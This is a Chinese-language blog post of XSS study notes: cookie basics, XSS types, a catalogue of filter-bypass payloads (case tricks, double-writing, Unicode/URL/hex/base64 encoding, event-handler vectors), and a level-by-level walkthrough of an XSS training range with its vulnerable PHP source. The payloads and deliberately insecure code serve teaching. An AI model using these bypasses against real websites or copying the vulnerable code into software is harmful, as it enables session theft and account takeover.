XSS

一、Cookie概述

1、当web服务器向浏览器发送web页面时,在连接关闭后,服务端不会记录用户的信息。

2、Cookie用于记录客户信息

3、Cookie存储于你电脑上的文本文件中

4、Cookie以键值对形式存储,如下

username=tom

5、当浏览器从服务器上请求web页面时,属于该页面的Cookie会被添加到请求中,服务器通过这种方式来获取用户的信息

6、用js创建Cookie

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Cookie</title>
</head>
<body>
	<script>
		document.cookie="username=root";
	</script>
</body>
</html>

二、XSS

1、反射型

2、存储型(数据库中)

3、DOM型

三、绕过方式

1、大小写

2、双写

3、禁用alert,可以用下面替代

//prompt可以代替confirm
<img src="1" onerror="confirm('xss')">

<script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,34,41,13))</script>

4、编码

//Unicode编码绕过
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">

<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">

//url编码
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">

<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

//Ascii码绕过
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">

//hex绕过
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>

//八进制
<img src=x onerror=alert('\170\163\163')>

//base64绕过
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

//如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号

//当括号被过滤的时候可以使用throw来绕过


5、常用的poc



<input onfocus="alert('xss');">

//竞争焦点,从而触发onblur事件
<input onblur=alert("xss") autofocus><input autofocus>

//通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
<input onfocus="alert('xss');" autofocus>

<details ontoggle="alert('xss');">

//使用open属性触发ontoggle事件,无需用户去触发
<details open ontoggle="alert('xss');">

<img src=x onerror=alert(1)>

<img/src=x onerror=alert(1)>

<video src=x onerror=alert(1)>

<audio src=x onerror=alert(1)>

<audio src=x  onerror=alert("xss");>

<iframe onload=alert(1)>

<iframe src=”javascript:alert(1)”>

<iframe onload=alert("xss");></iframe>

<svg onload=alert(1)><body onload=alert(1)>

<select onfocus=alert(1)></select>

//通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
<select onfocus=alert(1) autofocus>

<select autofogus onfocus=alert(1)>

<textarea onfocus=alert("xss"); autofocus>

<textarea autofocus onfocus=alert(1)>

<video><source onerror="javascript:alert(1)">

<video><source onerror="alert(1)">

<body/onload=alert("xss");>

<body
onscroll=alert("xss");><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>

<form action="Javascript:alert(1)"><input type=submit>

6、字符拼接

<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">

<script>top["al"+"ert"](`xss`);</script>

四、靶场

1、没有任何过滤

  • <script>alert('xss')</script>,字符用',",//围起来
  • <script>alert(1)</script>,数字则不需要符号

2、闭合value,输入"><script>alert('xss')</script>

3、htmlspecialchars函数实体化了参数,但是没有填写参数,从而导致'没有被过滤

  • ' onmouseover='javascript:alert(/xss/)其中javascript前的'是为了闭合value后面的'号,用/xss/是为了不因为用单双引号闭合产生歧义
  • ' onmouseover=javascript:alert(/xss/) //因为javascript前没有加',所以需要//注释后面多余的'
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>

<input name=keyword  value='".htmlspecialchars($str)."'>


<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

4、" onmouseover=javascript:alert(/xss/) //

  • 因为过滤了<>,所以只能用事件
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level5.php?keyword=find a way out!"; 
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];

//过滤<、>
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);



echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>

//闭合",注释后面的"引号
<input name=keyword  value="'.$str3.'">


<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

5、" /> <a href="javascript:alert(1)" />

  • 将传递的参数转换成小写
  • 过滤了script,onlick等事件
  • 但是< >没被过滤
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level6.php?keyword=break it out!"; 
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php 
ini_set("display_errors", 0);


//strtolower将传递的参数转换为小写,过滤了script,onlick等事件
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);


echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>


//闭合value
<input name=keyword  value="'.$str3.'">


<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

6、" /> <a Href="javascript:alert(1)"/>

  • 依旧是过滤了一些函数,但是< >没被过滤
  • 尝试大小写绕过函数过滤
  • " /> <Script>alert(/xss/)</ScRipt>
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level7.php?keyword=move up!"; 
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];

//可以通过大小写绕过
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);


echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>

//闭合,大小写绕过
<input name=keyword  value="'.$str6.'">


<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

7、"/><scrscriptipt>alert(/xss/)</scriscriptpt> //

  • 将传递的参数转为小写
  • 将一些函数替换为空
  • 但是< >没被过滤,尝试双写函数
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level8.php?keyword=nice try!"; 
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php 
ini_set("display_errors", 0);

//将传递的参数转为小写,将一些函数替换为空,双写绕过
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);


echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>


//双写绕过
<input name=keyword  value="'.$str6.'">


<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

8、javascri%26%23x70%3Bt:alert(1)

  • 过滤了一些函数
  • Unicode编码绕过
  • &#x70;是p的编码,提交时需要进行url编码成%26%23x70%3B,不然&会被当成参数间的分隔符
  • 将函数关键字字符实体化(编码),比如如下,htmlspecialchars函数将&实体化了,另一个没有

  • javascript:al%0aert(1),href属性引号中的内容可以使用空字符、空格、TAB换行、注释、特殊的函数,将代码隔开从而达到绕过效果

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level9.php?keyword=not bad!"; 
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php 
ini_set("display_errors", 0);

//接收参数转小写,过滤一些函数
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);


echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php

//可控点,href属性引号中的内容可以使用空字符、空格、TAB换行、注释、特殊的函数,将代码隔开从而达到绕过效果,不影响整体功能
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';


?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

9、与第8关差不多,但是多了一个匹配http://

javascrip%0at:alert('xss')<!--http://-->
javascrip%0at:alert('xss')//http://
javascrip%0at:alert('xss')/*http://*/
javascri%26%23x70%3Bt:alert(1)//http://

10、t_sort="type="text" onclick = "alert(1)

  • 隐藏了表单,闭合表单执行js代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level11.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];

//过滤了< >号
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);


echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">


//闭合value
<input name="t_sort"  value="'.$str33.'" type="hidden">


</form>
</center>';
?>
<center><img src=level10.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

11、click here~" type="button" onclick="javascript:alert(1)

  • 同第10关差不多,隐藏表单,但是参数再请求包中
  • 可控参数在请求包Referer中:需要抓包手动添加这个参数

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level12.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];

//接收参数,过滤<  >  号
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);


echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">


//闭合value
<input name="t_ref"  value="'.$str33.'" type="hidden">


</form>
</center>';
?>
<center><img src=level11.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

12、" type="text" onclick="javascript:alert(/xss/)

  • 同第11关差不多,隐藏表单,但是参数再请求包中,修改UA

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level13.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];

//获取参数
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

13、" type="text" onclick="javascript:alert(/xss/)

  • 同第12关差不多,隐藏表单,但是参数再请求包中,修改cookie

14-15关因为环境问题没搞

16、<a%0ahref="javas%0acript:alert(1)">

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level17.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php 
ini_set("display_errors", 0);

//过滤参数
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);

//构建poc
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
</body>
</html>

17、 onclick=javascript:alert(1)//&arg02=

  • 标签,由于embed支持html事件属性,那就可以给他添加一个属性,比如onclick,注意onclick前有空格

18、同17一样

总结

1、随便输入参数,查看源代码在哪展示,需要怎么闭合

2、查看哪些地方过滤了,哪些地方没过滤

3、查看怎么过滤的,实体化还是,函数过滤,如下,&被过滤导致上面的没执行,而下面的执行了

4、绕过过滤函数

5、构造exp

posted @ 2022-03-19 21:40  lnterpreter  阅读(121)  评论(0编辑  收藏  举报